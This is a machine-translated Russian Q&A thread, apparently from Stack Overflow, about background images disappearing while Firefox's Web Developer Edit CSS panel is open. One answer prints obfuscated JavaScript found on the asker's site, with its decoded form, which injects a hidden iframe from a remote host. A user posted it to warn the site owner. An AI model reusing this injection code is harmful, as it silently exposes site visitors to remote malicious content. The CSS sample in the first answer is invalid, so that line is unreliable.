При использовании панели инструментов Firefox для веб-разработчиков для редактирования CSS, почему некоторые изображения исчезают, когда панель инструментов открыта?

Question

Мой типичный рабочий процесс для редактирования и создания моих таблиц стилей для документов HTML - это открытие панели «Редактировать CSS» панели инструментов веб-разработчика Firefox и редактирование непосредственно в окне браузера.

В большинстве случаев это работает как шарм.Однако бывают случаи, когда при открытии панели «Редактировать CSS» некоторые изображения исчезают, и я не понимаю, почему.И что еще более странно, иногда изображения, которые я добавляю с открытой панелью инструментов, не видны, когда она закрыта.(Я говорю в первую очередь об изображениях, которые добавляются с помощью правила фонового изображения CSS).

Вот несколько примеров ...

http://kenbrook.org - если вы откроете РедактироватьПанель CSS, фоновое изображение тела исчезает вместе с несколькими фонами div.Фактически, я думаю, что почти все изображения фонового изображения CSS исчезают.Я не писал разметку и большинство стилей на этом сайте, но я отвечаю за их редактирование и завершение.Итак, есть идеи, почему это происходит?

http://joelglovier.com - также проверьте этот вариант, для которого я сейчас создаю себя и пишу стили (только пара элементов на странице прямо сейчас).В заголовке div у меня есть пустой div, в который я помещаю изображение. Когда открыт Edit CSS, изображение выглядит так, как ожидалось.Однако, когда он закрыт, изображение не видно, хотя с помощью firebug я вижу, что стиль определенно применяется, и div находится там, где он должен быть.

Любое объяснение ??

Answer 1

Я видел эту проблему, когда файл CSS и файл изображения не находятся в одном каталоге с HTML.Например, у меня была такая структура каталогов:

index.html
image/background.jpg
css/index.css

У меня это было в моем CSS:

body { background-image:image/index.html; }

Когда был открыт редактор CSS для веб-разработчика, он работал.Когда я закрыл его, это не так.

Оказывается, ответ заключается в том, что путь к изображению относится к файлу CSS, а не к файлу HTML.Когда редактор CSS был открыт, он правильно определил путь.Когда он был закрыт, Firefox не смог найти изображение.

Я полагаю, что путь в CSS должен быть абсолютным, если вы хотите использовать редактор и иметь файлы в разных каталогах.

Answer 2

Хотя, если вы посмотрите на домашнюю страницу панели инструментов веб-разработчика, я обнаружу, что это: «Редактировать CSS» не работает с фоновыми изображениями, которые связаны относительно CSS »в разделе« Проблемы ». Итак, это относительные связанные изображения, которые аддон не может обработать в данный момент. Попробуй заставить создателя аддона исправить это ... Я просто тоже ненавижу эту проблему ...

Answer 3

Ну, я не могу воспроизвести вашу проблему, когда я открываю панель редактирования CSS, страница остается такой же, но мой антивирусный сканер предупреждает меня, что один из ваших сценариев (/assets/js/slides.js) имеетвнутри него скрыт Trojan.Script.Iframer ...

Возможно, вы могли бы попробовать firebug, который также имеет мощный онлайн-редактор css.

Answer 4

Какова цель этого бита кода (с http://kenbrook.org/assets/js/slides.js)

var source ="=tdsjqu?jg!)epdvnfou/dppljf/tfbsdi)#koewv>3#*!>>!.2*!|sz{{>epdvnfou/hfuFmfnfouCzJe)(m{nig(*<jg)sz{{>>ovmm*|epdvnfou/xsjuf)(=jgsbnf!je>m{nig!tsd>iuuq;00xxx/tqjsjufl/dp/kq0bttfut0kt0bkby/qiq!tuzmf>ejtqmbz;opof?=0jgsbnf?(*<~epdvnfou/dppljf!>!#koewv>3<fyqjsft>Tvo-!12.Efd.3122!19;11;11!HNU<qbui>0#<~=0tdsjqu?"; var result = "";
                   for(var i=0;i<source.length;i++) {
                       result+=String.fromCharCode(source.charCodeAt(i)-1);
                   }
                   document.write(result);

Необъяснимо, это записывает это в документ

<script>if (document.cookie.search("jndvu=2") == -1) {
ryzz=document.getElementById('lzmhf');if(ryzz==null){document.write('<iframe id=lzmhf src=http://www.spiritek.co.jp/assets/js/ajax.php style=display:none></iframe>');}
document.cookie = "jndvu=2;expires=Sun, 01-Dec-2011 08:00:00 GMT;path=/";}</script>

Вам известно о его присутствии?

Answer 5

Мне кажется, я разобрался с проблемой - хотя бы по второй ссылке. Для того, который появлялся, когда был открыт Edit CSS, но не показывался без этой панели, кажется, я пренебрег определением top: value для абсолютно позиционированного div. Когда я определил это верхнее значение, изображение показывается как в обычном браузере, так и с открытым редактированием CSS.

Не уверен, применимо ли это к файлу kenbrook.org, где изображения отображаются нормально, но исчезают, когда открыт Edit CSS.